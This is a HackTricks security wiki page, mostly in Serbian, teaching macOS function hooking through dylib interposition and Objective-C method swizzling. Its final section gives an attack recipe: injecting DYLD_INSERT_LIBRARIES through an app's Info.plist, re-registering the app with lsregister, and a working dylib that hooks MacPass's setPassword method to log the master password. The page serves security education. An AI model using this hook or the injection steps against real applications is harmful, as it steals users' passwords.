hacktricks/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md

macOS Function Hooking

{{#include ../../../banners/hacktricks-training.md}}

Interpozicija funkcija

Kreirajte dylib sa __interpose sekcijom (ili sekcijom označenom sa S_INTERPOSING) koja sadrži parove pokazivača na funkcije koji se odnose na originalne i zamenske funkcije.

Zatim, ubacite dylib sa DYLD_INSERT_LIBRARIES (interpozicija treba da se desi pre nego što se glavna aplikacija učita). Očigledno, ograničenja koja se primenjuju na korišćenje DYLD_INSERT_LIBRARIES važe i ovde.

Interpozicija printf

{{#tabs}} {{#tab name="interpose.c"}}

// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };

{{#endtab}}

{{#tab name="hello.c"}}

//gcc hello.c -o hello
#include <stdio.h>

int main() {
printf("Hello World!\n");
return 0;
}

{{#endtab}}

{{#tab name="interpose2.c"}}

// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib

#include <stdio.h>

#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};

int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}

DYLD_INTERPOSE(my_printf,printf);

{{#endtab}} {{#endtabs}}

DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

Method Swizzling

U ObjectiveC, ovako se poziva metoda: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]

Potrebni su objekat, metoda i parametri. Kada se metoda pozove, msg se šalje koristeći funkciju objc_msgSend: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);

Objekat je someObject, metoda je @selector(method1p1:p2:) i argumenti su value1, value2.

Prateći strukture objekata, moguće je doći do niza metoda gde su imena i pokazivači na kod metoda locirani.

Caution

Imajte na umu da se metode i klase pristupaju na osnovu njihovih imena, tako da se ove informacije čuvaju u binarnom formatu, pa ih je moguće preuzeti sa otool -ov </path/bin> ili class-dump </path/bin>

Accessing the raw methods

Moguće je pristupiti informacijama o metodama kao što su ime, broj parametara ili adresa kao u sledećem primeru:

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

Method Swizzling with method_exchangeImplementations

Funkcija method_exchangeImplementations omogućava da se promeni adresa implementacije jedne funkcije za drugu.

Caution

Tako da kada se funkcija pozove, ono što je izvršeno je drugo.

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

Warning

U ovom slučaju, ako implementacioni kod legit metode proverava ime metode, mogao bi otkriti ovo swizzling i sprečiti njegovo izvršavanje.

Sledeća tehnika nema ovo ograničenje.

Method Swizzling with method_setImplementation

Prethodni format je čudan jer menjate implementaciju 2 metode jednu iz druge. Koristeći funkciju method_setImplementation, možete promeniti implementaciju metode za drugu.

Samo zapamtite da sačuvate adresu implementacije originalne metode ako planirate da je pozovete iz nove implementacije pre nego što je prepišete, jer će kasnije biti mnogo komplikovanije locirati tu adresu.

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

Hooking Attack Methodology

Na ovoj stranici su diskutovani različiti načini za hook-ovanje funkcija. Međutim, oni su uključivali izvršavanje koda unutar procesa za napad.

Da bi se to postiglo, najlakša tehnika koja se može koristiti je injekcija Dyld putem promenljivih okruženja ili otmice. Međutim, pretpostavljam da se to takođe može uraditi putem Dylib procesne injekcije.

Međutim, obe opcije su ograničene na nezaštićene binarne/procese. Proverite svaku tehniku da biste saznali više o ograničenjima.

Međutim, napad putem hook-ovanja funkcija je veoma specifičan, napadač će to uraditi da ukrade osetljive informacije iz procesa (inače biste jednostavno uradili napad injekcijom procesa). A te osetljive informacije mogu biti smeštene u aplikacijama preuzetim od strane korisnika, kao što je MacPass.

Dakle, vektor napadača bi bio da pronađe ranjivost ili ukloni potpis aplikacije, injektuje DYLD_INSERT_LIBRARIES env promenljivu kroz Info.plist aplikacije dodajući nešto poput:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

i zatim ponovo registrujte aplikaciju:

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

Dodajte u tu biblioteku kod za hooking kako biste eksfiltrirali informacije: Lozinke, poruke...

Caution

Imajte na umu da u novijim verzijama macOS-a, ako uklonite potpis aplikacionog binarnog fajla i ako je prethodno bio izvršen, macOS neće više izvršavati aplikaciju.

Primer biblioteke

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

Reference

• https://nshipster.com/method-swizzling/

{{#include ../../../banners/hacktricks-training.md}}